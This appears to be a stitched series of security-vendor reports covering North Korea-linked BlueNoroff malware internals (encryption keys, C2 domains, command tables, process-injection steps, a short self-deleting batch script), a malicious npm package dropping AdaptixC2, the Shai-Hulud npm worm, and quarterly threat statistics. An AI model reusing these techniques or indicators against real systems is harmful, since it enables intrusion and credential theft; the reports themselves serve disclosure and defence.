Although we did not obtain the command or installer used to register the NetCheckSvcΒ service, we observed that the installer had been downloaded from dataupload[.]storeΒ via DownTroy and injected into the legitimate cmd.exe process with the parameter -m yuqqm2ced6zb9zfzvu3quxtrz885cdoh. The installer then probably created the file netchksvc.dll at C:\Windows\system32 and configured it to run as a service named NetCheckSvc. Once netchksvc.dll was executed, it loaded RooTroy into memory, which allowed it to operate in the memory of the legitimate svchost.exe process used to run services in Windows.
RooTroy.Windows initially retrieves configuration information from the file C:\Windows\system32\smss.dat. The contents of this file are decrypted using RC4 with a hardcoded key: B3CC15C1033DE79024F9CF3CD6A6A7A9B7E54A1A57D3156036F5C05F541694B7. This key is different from the one used in the macOS variant of this malware, but the same C2 URLs were used in the GhostCall campaign: readysafe[.]xyzΒ and safefor[.]xyz.
Then RooTroy.Windows creates a string object {"rt": "5.0.0"}, which is intended to represent the malwareβs version. This string is encrypted using RC4 with another hardcoded string, C4DB903322D17C8CBF1D1DB55124854C0B070D6ECE54162B6A4D06DF24C572DF. It is the same as the key used in RooTroy.macOS, and it is stored at C:\ProgramData\Google\Chrome\version.dat.
Next, the malware collects device information, including lists of current, new and terminated processes, OS information, boot time, and more, which are all structured in a JSON object. It then sends the collected data to the C2 server using the POST method with the Content-Type: application/json header.
The response is parsed into a JSON object to extract additional information required for executing the actual command. The commands are executed based on the value of the type field in the response, with each command processing its corresponding parameters in the required object.
Value of type
Description
0
Send current configuration to C2
1
Update received configuration with the configuration file (smss.dat)
2
Payload injection
3
Self-update
If the received value of typeΒ is 2 or 3, the responses include a common source field within the parsed data, indicating where the additional payload originates. Depending on the value of source, the data field in the parsed data contains either the file path where the payload is stored on the disk, the C2 server address from which it should be downloaded, or the payload itself encoded in base64. Additionally, if the cipherΒ field is set to true, the key field is used as the RC4 decryption key.
Value of source
Description
Value of data
0
Read payload from a specific file
File path
1
Fetch payload from another server
C2 address
2
Delivered by the current JSON object
base64-encoded payload
If the value of type is set to 2, the injection mode, referred to as peshooter in the code, is activated to execute an additional payload into memory. This mode checks whether the payload sourced from the data field is encrypted by examining the cipherΒ value as a flag in the parsed data. If it is, the payload is decrypted with the RC4 algorithm. If no key is provided in the key value, a hardcoded string, A6C1A7CE43B029A1EF4AE69B26F745440ECCE8368C89F11AC999D4ED04A31572, is used as the default key.
If the pid value is not specified (e.g., set to -1), the process with the name provided in the process field is executed in suspended mode, with the optional argument value as its input. Additionally, if a sid value is provided at runtime, a process with the corresponding session ID is created. If a pid value is explicitly given, the injection is performed into that specific process.
Before performing the injection, the malware enables the SeDebugPrivilege privilege for process injection and unhooks the loaded ntdll.dll for the purpose of bypassing detection. This is a DLL unhooking technique that dynamically loads and patches the .text section of ntdll.dll to bypass the hooking of key functions by security software to detect malicious behavior.
Once all the above preparations are completed, the malware finally injects the payload into the targeted process.
If the value of type is set to 3, self-update mode is activated. Similar to injection mode, it first checks whether the payload sourced from the data is encrypted and, if so, decrypts it using RC4 with a hardcoded key: B494A0AE421AFE170F6CB9DE2C1193A78FBE16F627F85139676AFC5D9BFE93A2. A random 32-byte string is then generated, and the payload is encrypted using RC4 with this string as the key. The encrypted payload is stored in the file located at C:\Windows\system32\boot.sdl, while the generated random key is saved unencrypted in C:\Windows\system32\wizard.sep. This means the loader will read the wizard.sep file to retrieve the RC4 key, use it to decrypt the payload from boot.sdl, and then load it.
After successfully completing the update operation, the following commands are created under the filename update-[random].batΒ in the %temp%Β directory:
@echo off
set SERVICE_NAME=NetCheckSvc
sc stop %SERVICE_NAME% >nul 2>&1
sc start %SERVICE_NAME% >nul 2>&1
start "" cmd /c del "%~f0" >nul 2>&1
This batch script restarts a service called NetCheckSvc and self-deletes, which causes the loader netchksvc.dllΒ to be reloaded. In other words, the self-update mode updates RooTroy itself by modifying two files mentioned above.
According to our telemetry, we observed that the payload called RealTimeTroy was fetched by RooTroy and injected into cmd.exeΒ process with the injected wss://signsafe[.]xyz/update parameter.
RealTimeTroy in Go
The backdoor requires at least two arguments: a simple string and a C2 server address. Before connecting to the given C2 server, the first argument is encrypted using the RC4 algorithm with the key 9939065709AD8489E589D52003D707CBD33AC81DC78BC742AA6E3E811BA344CΒ and then base64 encoded. In the observed instance, this encoded value is passed to the βpβ (payload) field in the request packet.
The entire request packet is additionally encrypted using RC4 algorithm with the key 4451EE8BC53EA7C148D8348BC7B82ACA9977BDD31C0156DFE25C4A879A1D2190. RealTimeTroy then sends this encrypted message to the C2 server to continue communication and receive commands from the C2.
Then the malware receives a response from the C2. The value of βeβ (event) within the response should be 5, and the value of βpβ is decoded using base64 and then decrypted using RC4 with the key 71B743C529F0B27735F7774A0903CB908EDC93423B60FE9BE49A3729982D0E8D, which is deserialized in JSON. The command is extracted from the βcβ (command) field in the JSON object, and the malware performs specific actions according to the command.
Command
Description
Parameter from C2
1
Get list of subfiles
Directory path
2
Wipe file
File path
3
Read file
File path
4
Read directory
Directory path
5
Get directory information
Directory path
6
Get process information
β
7
Terminate process
Process ID
8
Execute command
Command line
10
Write file
File path, content
11
Change work directory
Directory path
12
Get device information
β
13
Get local drives
β
14
Delete file
File path
15
Cancel command
16
File download
Data for file download
19
Process injection
Data for process injection
Upon receiving the file download command (16), the d (data) field in the response contains a JSON object. If the u (url) field is initialized, a connection is established to the specified URL using the m (method) and h (headers) fields provided in the same JSON object. If the connection returns a 200 status code (success), the response body is written to the file path indicated by the rΒ (rpath) value in the response.
While the u value is not initialized, the malware writes the value of the b (buffer) field from the response to the path provided through the rΒ field. It continues writing b until the eΒ (eof) flag is set and then sends the xxHash of the total downloaded contents to the C2 server. This allows for the downloading of the larger file contents from the C2 server.
When receiving the process injection command (19), the d in the response includes another JSON object. If the l (local) flag within this object is set to true, a t (total) amount of data is read from b starting at the f (from) position specified in the object. The xxHash value of b is then validated to ensure it matches the provided h (hash) value. If the l flag is false, b is instead read from the file path specified as fp (file path). The payload is then injected into cmd.exeΒ with the same method as the peshooter used in RooTroy.
The result is then serialized and secured with a combination of RC4 encryption and base64 encoding before being sent to the C2 server. The key used for encryption, 71B743C529F0B27735F7774A0903CB908EDC93423B60FE9BE49A3729982D0E8D, is the same key used to decrypt the response object.
CosmicDoor.Windows written in Go
CosmicDoor.Windows is the Windows version of CosmicDoor written in Go and has the same features as macOS versions. The C2 server address wss://second.systemupdate[.]cloud/client is hardcoded in the malware. It processes a total of seven commands, passed from the C2.
Command
Description
Parameter from C2
234
Get device information
β
333
No operation
Unknown
44
Update configuration
Interval time, UID, C2 server address
78
Get current work directory
β
1
Get interval time
β
12
Execute commands OR code injection
Command line
34
Set current work directory
Directory path
The command 234 is for collecting device information such as user name, computer name, OS, architecture, Windows version, and boot time.
The command 12Β serves two primary functions. The first is to execute a command line passed as a parameter using cmd.exe /c, while the second is to perform code injection. This injection capability is nearly identical to the peshooter functionality found in RooTroy, but it is considered an enhanced version.
Within CosmicDoor, the peshooter feature can accept up to six parameters using the shootΒ or shoote command to configure code injection options. If a file path is provided in the PATH parameter, the next payload is read from that file on the system. Conversely, if a string beginning with httpΒ is specified, the next payload is retrieved through HTTP communication instead.
Num
Parameter
Description
1
shoot or shoote
The next payload is either plain or base64-encoded
2
SID
Session ID to be used when executing notepad.exe
3
PID
Process ID of the targeted process to be injected
4
REASON
If set to -1, ARGS is passed to the injected payload
5
PATH
Read payload from local file or fetch it from external server
6
ARGS
Parameters to be passed
7
FUNC
Export function name to execute
Then it checks the SID, PID, and REASONΒ parameters. If PID is not passed, CosmicDoor defaults to creating notepad.exeΒ in suspended mode and assigns it a target for injection, and the SID determines the session ID that runs notepad.exe. If no SID is passed, it defaults to the token of the current process. REASON means to pass ARGSΒ to the payload by default if no value greater than 0 is passed.
Finally, CosmicDoor allocates space inside of the targeted processβs memory space for the payload, the hardcoded shellcode for the loader, and ARGSΒ to write the data, and then invokes the loader code to execute the final payload from memory. If FUNC is set at this point, it calls the corresponding export function of the loaded payload. This usage is also well displayed inside CosmicDoor.
"ERROR: Invalid syntax.\n"
"Examples:\n"
"\tshoot [SID] [PID] [REASON] [PATH] [ARGS] [FUNC]\n"
"Parameter List:\n"
"\t[SID] Session ID.\n"
"\t[PID] Process ID.\n"
"\t[REASON] reason.\n"
"\t[PATH] the path of PE file.\n"
"\t[ARGS] the arguments of PE file.\n"
"\t[FUNC] Export function of PE file.\n";
Bof loader written in Rust
Bof loader is assumed to be one of the payloads downloaded from dataupload[.]store by DownTroy. It is a loader protected by Themida and written in Rust. The malware was created with the name nlsport.dll, and unlike other malware, it is registered with security support providers and loaded with SYSTEM privileges by the LSASS process at Windows boot time. In this instance, the malicious behavior is implemented in the SpLsaModeInitialize export function inside the DLL file and it contains the string that indicates its work path C:\Users\Molly.
The loader employs the NTDLL unhooking technique, a method also used by other malware families. After unhooking, the loader reads two files. The first one contains an RC4 key, while the second holds a payload encrypted with that key.
RC4 key: C:\Windows\system32\wand.bin
Encrypted payload: C:\Windows\system32\front.sdl.
The loader then decrypts the payload, allocates memory in the current process, and executes the decrypted shellcode via the NtCreateThreadEx function. This is very similar to the injection feature implemented within RooTroy, written in Golang.
During our focused monitoring of the threat actorβs infrastructure, we discovered that one of the instances was signed with a valid certificate from a legitimate Indian company.
Victims
Using our telemetry, we detected infection events from various countries affected by both campaigns. We have observed several infected macOS hosts located in Japan, Italy, France, Singapore, Turkey, Spain, Sweden, India and Hong Kong infected by the GhostCall campaign since 2023. The victims of the GhostHire campaign, which resumed its activities starting this year, have been identified as individuals in Japan and Australia.
We observed that many stolen videos and profile images have been uploaded to the actorβs public storage server. These were utilized to convince victims in the course of the GhostCall campaign. We closely examined the uploaded data and found that most victims were executives at tech companies and venture capital funds in the Web3/blockchain industry located in the APAC region, particularly in Singapore and Hong Kong.
Attribution
In 2022, we already uncovered the PowerShell script that BlueNoroff heavily relied on to collect base system information and execute commands from its C2 server. This script is considered to be an earlier version of DownTroy. Moreover, leveraging trusted resources attributed to venture capital funds to attack the cryptocurrency-related industry was a primary attack method of the SnatchCrypto campaign. Additionally, the tendency to create phishing domains using the names of venture capital firms and the use of Hostwinds hosting to build these phishing sites also overlaps with past cases of BlueNoroff observed in our previous research.
In late-2023, we provided an insight into the early stage of the BlueNoroffβs GhostCall campaign to our customers. The actor utilized JavaScript and AppleScript to raise an issue regarding IP access control on Windows and macOS respectively. In this instance, the JavaScript ultimately downloaded a VBScript file, which has been identified as a VBScript version of DownTroy. This version shares a C2 server with CosmicDoor.Windows. The AppleScript was used against a victim in August 2023, and fetched from a fake domain support.video-meeting[.]online, which shared its resolved IP address (104.168.214[.]151) with the ObjCShellZ malwareβs C2 server swissborg[.]blog.
We assess with medium-high confidence that BlueNoroff is behind both campaigns when comprehensively considering the infrastructure, malware, attack methods, final targets, and motives behind the attacks used in both campaigns.
Conclusion
Our research indicates a sustained effort by the actor to develop malware targeting both Windows and macOS systems, orchestrated through a unified command-and-control infrastructure. The use of generative AI has significantly accelerated this process, enabling more efficient malware development with reduced operational overhead. Notably, AI will make it easier to introduce new programming languages and add new features, thereby complicating detection and analysis tasks. Furthermore, AI supports the actorβs ability to maintain and expand their infrastructure, enhancing their overall productivity.
Beyond technical capabilities, the actor leverages AI to refine sophisticated social engineering tactics. The AI-powered, tailored approach enables the attackers to convincingly disguise themselves, operating with detailed information, allowing for more meticulous targeted attacks. By combining compromised data with AIβs analytical and productive capabilities, the actorβs attack success rate has demonstrably increased.
The actorβs targeting strategy has evolved beyond simple cryptocurrency and browser credential theft. Upon gaining access, they conduct comprehensive data acquisition across a range of assets, including infrastructure, collaboration tools, note-taking applications, development environments, and communication platforms (messengers). This harvested data is exploited not only against the initial target but also to facilitate subsequent attacks, enabling the actor to execute supply chain attacks and leverage established trust relationships to impact a broader range of users.
Kaspersky products detect the malware used in this attack with the following verdicts:
The first version of the AdaptixC2 post-exploitation framework, which can be considered an alternative to the well-known Cobalt Strike, was made publicly available in early 2025. In spring of 2025, the framework was first observed being used for malicious means.
In October 2025, Kaspersky experts found that the npm ecosystem contained a malicious package with a fairly convincing name: https-proxy-utils. It was posing as a utility for using proxies within projects. At the time of this post, the package had already been taken down.
The name of the package closely resembles popular legitimate packages: http-proxy-agent, which has approximately 70 million weekly downloads, and https-proxy-agent with 90 million downloads respectively. Furthermore, the advertised proxy-related functionality was cloned from another popular legitimate package proxy-from-env, which boasts 50 million weekly downloads. However, the threat actor injected a post-install script into https-proxy-utils, which downloads and executes a payload containing the AdaptixC2 agent.
Metadata for the malicious (left) and legitimate (right) packages
OS-specific adaptation
The script includes various payload delivery methods for different operating systems. The package includes loading mechanisms for Windows, Linux, and macOS. In each OS, it uses specific techniques involving system or user directories to load and launch the implant.
In Windows, the AdaptixC2 agent is dropped as a DLL file into the system directory C:\Windows\Tasks. It is then executed via DLL sideloading. The JS script copies the legitimate msdtc.exe file to the same directory and executes it, thus loading the malicious DLL.
Deobfuscated Windows-specific code for loading AdaptixC2
In macOS, the script downloads the payload as an executable file into the userβs autorun directory: Library/LaunchAgents. The postinstall.js script also drops a plist autorun configuration file into this directory. Before downloading AdaptixC2, the script checks the target architecture (x64 or ARM) and fetches the appropriate payload variant.
Deobfuscated macOS-specific code for loading AdaptixC2
In Linux, the frameworkβs agent is downloaded into the temporary directory /tmp/.fonts-unix. The script delivers a binary file tailored to the specific architecture (x64 or ARM) and then assigns it execute permissions.
Deobfuscated Linux-specific code for loading AdaptixC2
Once the AdaptixC2 framework agent is deployed on the victimβs device, the attacker gains capabilities for remote access, command execution, file and process management, and various methods for achieving persistence. This both allows the attacker to maintain consistent access and enables them to conduct network reconnaissance and deploy subsequent stages of the attack.
Conclusion
This is not the first attack targeting the npm registry in recent memory. A month ago, similar infection methods utilizing a post-install script were employed in the high-profile incident involving the Shai-Hulud worm, which infected more than 500 packages. The AdaptixC2 incident clearly demonstrates the growing trend of abusing open-source software ecosystems, like npm, as an attack vector. Threat actors are increasingly exploiting the trusted open-source supply chain to distribute post-exploitation framework agents and other forms of malware. Users and organizations involved in development or using open-source software from ecosystems like npm in their products are susceptible to this threat type.
To stay safe, be vigilant when installing open-source modules: verify the exact name of the package you are downloading, and more thoroughly vet unpopular and new repositories. When using popular modules, it is critical to monitor frequently updated feeds on compromised packages and libraries.
The modern development world is almost entirely dependent on third-party modules. While this certainly speeds up development, it also creates a massive attack surface for end users, since anyone can create these components. It is no surprise that malicious modules are becoming more common. When a single maintainer account for popular modules or a single popular dependency is compromised, it can quickly turn into a supply chain attack. Such compromises are now a frequent attack vector trending among threat actors. In the last month alone, there have been two major incidents that confirm this interest in creating malicious modules, dependencies, and packages. We have already discussed the recent compromise of popular npm packages. September 16, 2025 saw reports of a new wave of npm package infections, caused by the self-propagating malware known as Shai-Hulud.
Shai-Hulud is designed to steal sensitive data, expose private repositories of organizations, and hijack victim credentials to infect other packages and spread on. Over 500 packages were infected in this incident, including one with more than two million weekly downloads. As a result, developers who integrated these malicious packages into their projects risk losing sensitive data, and their own libraries could become infected with Shai-Hulud. This self-propagating malware takes over accounts and steals secrets to create new infected modules, spreading the threat along the dependency chain.
Technical details
The wormβs malicious code executes when an infected package is installed. It then publishes infected releases to all packages the victim has update permissions for.
Once the infected package is installed from the npm registry on the victimβs system, a special command is automatically executed. This command launches a malicious script over 3 MB in size named bundle.js, which contains several legitimate, open-source work modules.
Key modules within bundle.js include:
Library for interacting with AWS cloud services
GCP module that retrieves metadata from the Google Cloud Platform environment
Functions for TruffleHog, a tool for scanning various data sources to find sensitive information, specifically secrets
Tool for interacting with the GitHub API
The JavaScript file also contains network utilities for data transfer and the main operational module, Shai-Hulud.
The worm begins its malicious activity by collecting information about the victimβs operating system and checking for an npm token and authenticated GitHub user token in the environment. If a valid GitHub token is not present, bundle.js will terminate. A distinctive feature of Shai-Hulud is that most of its functionality is geared toward Linux and macOS systems: almost all malicious actions are performed exclusively on these systems, with the exception of using TruffleHog to find secrets.
Exfiltrating secrets
After passing the checks, the malware uses the token mentioned earlier to get information about the current GitHub user. It then runs the extraction function, which creates a temporary executable bash script at /tmp/processor.sh and runs it as a separate process, passing the token as an argument. Below is the extraction function, with strings and variable names modified for readability since the original source code was illegible.
The extraction function, formatted for readability
The bash script is designed to communicate with the GitHub API and collect secrets from the victimβs repository in an unconventional way. First, the script checks if the token has the necessary permissions to create branches and work with GitHub Actions. If it does, the script gets a list of all the repositories the user can access from 2025. In each of these, it creates a new branch named shai-hulud and uploads a shai-hulud-workflow.ymlworkflow, which is a configuration file for describing GitHub Actions workflows. These files are automation scripts that are triggered in GitHub Actions whenever changes are made to a repository. The Shai-Hulud workflow activates on every push.
The malicious workflow configuration
This file collects secrets from the victimβs repositories and forwards them to the attackersβ server. Before being sent, the confidential data is encoded twice with Base64.
This unusual method for data collection is designed for a one-time extraction of secrets from a userβs repositories. However, it poses a threat not only to Shai-Hulud victims but also to ordinary researchers. If you search for βshai-huludβ on GitHub, you will find numerous repositories that have been compromised by the worm.
Open GitHub repositories compromised by Shai-Hulud
The main bundle.js script then requests a list of all organizations associated with the victim and runs the migration function for each one. This function also runs a bash script, but in this case, it saves it to /tmp/migrate-repos.sh, passing the organization name, username, and token as parameters for further malicious activity.
The bash script automates the migration of all private and internal repositories from the specified GitHub organization to the userβs account, making them public. The script also uses the GitHub API to copy the contents of the private repositories as mirrors.
We believe these actions are intended for the automated theft of source code from the private repositories of popular communities and organizations. For example, the well-known company CrowdStrike was caught in this wave of infections.
The wormβs self-replication
After running operations on the victimβs GitHub, the main bundle.js script moves on to its next crucial stage: self-replication. First, the script gets a list of the victimβs 20 most downloaded packages. To do this, it performs a search query with the username from the previously obtained npm token:
Next, for each of the packages it finds, it calls the updatePackage function. This function first attempts to download the tarball version of the package (a .TAR archive). If it exists, a temporary directory named npm-update-{target_package_name} is created. The tarball version of the package is saved there as package.tgz, then unpacked and modified as follows:
The malicious bundle.js is added to the original package.
A postinstall command is added to the package.json file (which is used in Node.js projects to manage dependencies and project metadata). This command is configured to execute the malicious script via node bundle.js.
The package version number is incremented by 1.
The modified package is then re-packed and published to npm as a new version with the npm publish command. After this, the temporary directory for the package is cleared.
The updatePackage function, formatted for readability
Uploading secrets to GitHub
Next, the worm uses the previously mentioned TruffleHog utility to harvest secrets from the target system. It downloads the latest version of the utility from the original repository for the specific operating system type using the following link:
The worm also uses modules for AWS and Google Cloud Platform (GCP) to scan for secrets. The script then aggregates the collected data into a single object and creates a repository named βShai-Huludβ in the victimβs profile. It then uploads the collected information to this repository as a data.json file.
Below is a list of data formats collected from the victimβs system and uploaded to GitHub:
A distinctive characteristic of the modified packages is that they contain an archive named package.tar. This is worth noting because packages usually contain an archive with a name that matches the package itself.
Through our research, we were able to identify the first package from which Shai-Hulud began to spread, thanks to a key difference. As we mentioned earlier, after infection, a postinstall command to execute the malicious script, node bundle.js, is written to the package.json file. This command typically runs immediately after installation. However, we discovered that one of the infected packages listed the same command as a preinstall command, meaning it ran before the installation. This package was ngx-bootstrap version 18.1.4. We believe this was the starting point for the spread of this infection. This hypothesis is further supported by the fact that the archive name in the first infected version of this package differed from the name characteristic of later infected packages (package.tar).
While investigating different packages, we noticed that in some cases, a single package contained multiple versions with malicious code. This was likely possible because the infection spread to all maintainers and contributors of packages, and the malicious code was then introduced from each of their accounts.
Infected libraries and CrowdStrike
The rapidly spreading Shai-Hulud worm has infected many popular libraries that organizations and developers use daily. Shai-Hulud has infected over 500 popular packages in recent days, including libraries from the well-known company CrowdStrike.
Among the infected libraries were the following:
But the event that has drawn significant attention to this spreading threat was the infection of the @ctrl/tinycolor library, which is downloaded by over two million users every week.
As mentioned above, the malicious script exposes an organizationβs private repositories, posing a serious threat to their owners, as this creates a risk of exposing the source code of their libraries and products, among other things, and leading to an even greater loss of data.
Prevention and protection
To protect against this type of infection, we recommend using a specialized solution for monitoring open-source components. Kaspersky maintains a continuous feed of compromised packages and libraries, which can be used to secure your supply chain and protect development from similar threats.
For personal devices, we recommend Kaspersky Premium, which provides multi-layered protection to prevent and neutralize infection threats. Our solution can also restore the deviceβs functionality if itβs infected with malware.
For corporate devices, we advise implementing a comprehensive solution like Kaspersky Next, which allows you to build a flexible and effective security system. This product line provides threat visibility and real-time protection, as well as EDR and XDR capabilities for investigation and response. It is suitable for organizations of any scale or industry.
Kaspersky products detect the Shai-Hulud threat as HEUR:Worm.Script.Shulud.gen.
In the event of a Shai-Hulud infection, and as a proactive response to the spreading threat, we recommend taking the following measures across your systems and infrastructure:
Use a reliable security solution to conduct a full system scan.
Audit your GitHub repositories:
Check for repositories named shai-hulud.
Look for non-trivial or unknown branches, pull requests, and files.
Audit GitHub Actions logs for strings containing shai-hulud.
Reissue npm and GitHub tokens, cloud keys (specifically for AWS and Google Cloud Platform), and rotate other secrets.
Clear the cache and inventory your npm modules: check for malicious ones and roll back versions to clean ones.
Check for indicators of compromise, such as files in the system or network artifacts.
The statistics in this report are based on detection verdicts returned by Kaspersky products unless otherwise stated. The information was provided by Kaspersky users who consented to sharing statistical data.
The quarter in numbers
In Q2 2025:
Kaspersky solutions blocked more than 471 million attacks originating from various online resources.
Web Anti-Virus detected 77 million unique links.
File Anti-Virus blocked nearly 23 million malicious and potentially unwanted objects.
There were 1,702 new ransomware modifications discovered.
Just under 86,000 users were targeted by ransomware attacks.
Of all ransomware victims whose data was published on threat actorsβ data leak sites (DLS), 12% were victims of Qilin.
Almost 280,000 users were targeted by miners.
Ransomware
Quarterly trends and highlights
Law enforcement success
The alleged malicious actor behind the Black Kingdom ransomware attacks was indicted in the U.S. The Yemeni national is accused of infecting about 1,500 computers in the U.S. and other countries through vulnerabilities in Microsoft Exchange. He also stands accused of demanding a ransom of $10,000 in bitcoin, which is the amount victims saw in the ransom note. He is also alleged to be the developer of the Black Kingdom ransomware.
A Ukrainian national was extradited to the U.S. in the Nefilim case. He was arrested in Spain in June 2024 on charges of distributing ransomware and extorting victims. According to the investigation, he had been part of the Nefilim Ransomware-as-a-Service (RaaS) operation since 2021, targeting high-revenue organizations. Nefilim uses the classic double extortion scheme: cybercriminals steal the victimβs data, encrypt it, then threaten to publish it online.
Also arrested was a member of the Ryuk gang, charged with organizing initial access to victimsβ networks. The accused was apprehended in Kyiv in April 2025 at the request of the FBI and extradited to the U.S. in June.
A man suspected of being involved in attacks by the DoppelPaymer gang was arrested. In a joint operation by law enforcement in the Netherlands and Moldova, the 45-year-old was arrested in May. He is accused of carrying out attacks against Dutch organizations in 2021. Authorities seized around β¬84,800 and several devices.
A 39-year-old Iranian national pleaded guilty to participating in RobbinHood ransomware attacks. Among the targets of the attacks, which took place from 2019 to 2024, were U.S. local government agencies, healthcare providers, and non-profit organizations.
Vulnerabilities and attacks
Mass exploitation of a vulnerability in SAP NetWeaver
In May, it was revealed that several ransomware gangs, including BianLian and RansomExx, had been exploiting CVE-2025-31324 in SAP NetWeaver software. Successful exploitation of this vulnerability allows attackers to upload malicious files without authentication, which can lead to a complete system compromise.
Attacks via the SimpleHelp remote administration tool
The DragonForce group compromised an MSP provider, attacking its clients with the help of the SimpleHelp remote administration tool. According to researchers, the attackers exploited a set of vulnerabilities (CVE-2024-57727, CVE-2024-57728, CVE-2024-57726) in the software to launch the DragonForce ransomware on victimsβ hosts.
Qilin exploits vulnerabilities in Fortinet
In June, news broke that the Qilin gang (also known as Agenda) was actively exploiting critical vulnerabilities in Fortinet devices to infiltrate corporate networks. The attackers allegedly exploited the vulnerabilities CVE-2024-21762 and CVE-2024-55591 in FortiGate software, which allowed them to bypass authentication and execute malicious code remotely. After gaining access, the cybercriminals encrypted data on systems within the corporate network and demanded a ransom.
Exploitation of a Windows CLFS vulnerability
April saw the detection of attacks that leveraged CVE-2025-29824, a zero-day vulnerability in the Windows Common Log File System (CLFS) driver, a core component of the Windows OS. This vulnerability allows an attacker to elevate privileges on a compromised system. Researchers have linked these incidents to the RansomExx and Play gangs. The attackers targeted companies in North and South America, Europe, and the Middle East.
The most prolific groups
This section highlights the most prolific ransomware gangs by number of victims added to each groupβs DLS during the reporting period. In the second quarter, Qilin (12.07%) proved to be the most prolific group. RansomHub, the leader of 2024 and the first quarter of 2025, seems to have gone dormant since April. Clop (10.83%) and Akira (8.53%) swapped places compared to the previous reporting period.
Number of each groupβs victims according to its DLS as a percentage of all groupsβ victims published on all the DLSs under review during the reporting period (download)
Number of new variants
In the second quarter, Kaspersky solutions detected three new families and 1,702 new ransomware variants. This is significantly fewer than in the previous reporting period. The decrease is linked to the renewed decline in the count of the Trojan-Ransom.Win32.Gen verdicts, following a spike last quarter.
Number of new ransomware modifications, Q2 2024 β Q2 2025 (download)
Number of users attacked by ransomware Trojans
Our solutions protected a total of 85,702 unique users from ransomware during the second quarter.
Number of unique users attacked by ransomware Trojans, Q2 2025 (download)
Geography of attacked users
TOPΒ 10 countries and territories attacked by ransomware Trojans
Country/territory*
%**
1
Libya
0.66
2
China
0.58
3
Rwanda
0.57
4
South Korea
0.51
5
Tajikistan
0.49
6
Bangladesh
0.45
7
Iraq
0.45
8
Pakistan
0.38
9
Brazil
0.38
10
Tanzania
0.35
* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users. **Β Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.
TOPΒ 10 most common families of ransomware Trojans
*Β Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.
Miners
Number of new variants
In the second quarter of 2025, Kaspersky solutions detected 2,245 new modifications of miners.
Number of new miner modifications, Q2 2025 (download)
Number of users attacked by miners
During the second quarter, we detected attacks using miner programs on the computers of 279,630 unique Kaspersky users worldwide.
Number of unique users attacked by miners, Q2 2025 (download)
Geography of attacked users
TOPΒ 10 countries and territories attacked by miners
Country/territory*
%**
1
Senegal
3.49
2
Panama
1.31
3
Kazakhstan
1.11
4
Ethiopia
1.02
5
Belarus
1.01
6
Mali
0.96
7
Tajikistan
0.88
8
Tanzania
0.80
9
Moldova
0.80
10
Dominican Republic
0.80
* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users. ** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.
Attacks on macOS
Among the threats to macOS, one of the biggest discoveries of the second quarter was the PasivRobber family. This spyware consists of a huge number of modules designed to steal data from QQ, WeChat, and other messaging apps and applications that are popular mainly among Chinese users. Its distinctive feature is that the spyware modules get embedded into the target process when the device goes into sleep mode.
Closer to the middle of the quarter, several reports (1, 2, 3) emerged about attackers stepping up their activity, posing as victimsβ trusted contacts on Telegram and convincing them to join a Zoom call. During or before the call, the user was persuaded to run a seemingly Zoom-related utility, but which was actually malware. The infection chain led to the download of a backdoor written in the Nim language and bash scripts that stole data from browsers.
TOPΒ 20 threats to macOS
*Β Unique users who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)
* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.
A new piece of spyware named PasivRobber, discovered in the second quarter, immediately became the most widespread threat, attacking more users than the fake cleaners and adware typically seen on macOS. Also among the most common threats were the password- and crypto wallet-stealing Trojan Amos and the general detection Trojan.OSX.Agent.gen, which we described in our previous report.
Geography of threats to macOS
TOPΒ 10 countries and territories by share of attacked users
Country/territory
%* Q1 2025
%* Q2 2025
Mainland China
0.73%
2.50%
France
1.52%
1.08%
Hong Kong
1.21%
0.84%
India
0.84%
0.76%
Mexico
0.85%
0.76%
Brazil
0.66%
0.70%
Germany
0.96%
0.69%
Singapore
0.32%
0.63%
Russian Federation
0.50%
0.41%
South Korea
0.10%
0.32%
*Β Unique users who encountered threats to macOS as a percentage of all unique Kaspersky users in the country/territory.
IoT threat statistics
This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.
In the second quarter of 2025, there was another increase in both the share of attacks using the Telnet protocol and the share of devices connecting to Kaspersky honeypots via this protocol.
Distribution of attacked services by number of unique IP addresses of attacking devices (download)
Distribution of attackersβ sessions in Kaspersky honeypots (download)
TOPΒ 10 threats delivered to IoT devices
Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)
In the second quarter, the share of the NyaDrop botnet among threats delivered to our honeypots grew significantly to 30.27%. Conversely, the number of Mirai variants on the list of most common malware decreased, as did the share of most of them. Additionally, after a spike in the first quarter, the share of BitCoinMiner miners dropped to 1.57%.
During the reporting period, the list of most common IoT threats expanded with new families. The activity of the Agent.nx backdoor (4.48%), controlled via P2P through the BitTorrent DHT distributed hash table, grew markedly. Another newcomer to the list, Prometei, is a Linux version of a Windows botnet that was first discovered in December 2020.
Attacks on IoT honeypots
Geographically speaking, the percentage of SSH attacks originating from Germany and the U.S. increased sharply.
Country/territory
Q1Β 2025
Q2Β 2025
Germany
1.60%
24.58%
United States
5.52%
10.81%
Russian Federation
9.16%
8.45%
Australia
2.75%
8.01%
Seychelles
1.32%
6.54%
Bulgaria
1.25%
3.66%
The Netherlands
0.63%
3.53%
Vietnam
2.27%
3.00%
Romania
1.34%
2.92%
India
19.16%
2.89%
The share of Telnet attacks originating from China and India remained high, with more than half of all attacks on Kaspersky honeypots coming from these two countries combined.
Country/territory
Q1Β 2025
Q2Β 2025
China
39.82%
47.02%
India
30.07%
28.08%
Indonesia
2.25%
5.54%
Russian Federation
5.14%
4.85%
Pakistan
3.99%
3.58%
Brazil
12.03%
2.35%
Nigeria
3.01%
1.66%
Germany
0.09%
1.47%
United States
0.68%
0.75%
Argentina
0.01%
0.70%
Attacks via web resources
The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. Cybercriminals create malicious pages with a goal in mind. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.
Countries that served as sources of web-based attacks: TOPΒ 10
